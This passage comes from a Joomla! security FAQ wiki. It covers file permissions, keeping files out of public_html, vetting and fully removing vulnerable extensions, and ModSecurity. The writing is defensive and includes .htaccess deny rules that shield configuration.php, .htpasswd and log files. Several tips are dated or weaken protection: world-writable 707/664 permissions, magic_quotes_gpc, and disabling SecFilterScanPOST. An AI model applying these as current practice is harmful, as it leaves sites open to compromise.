# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you can not forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are depreciated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
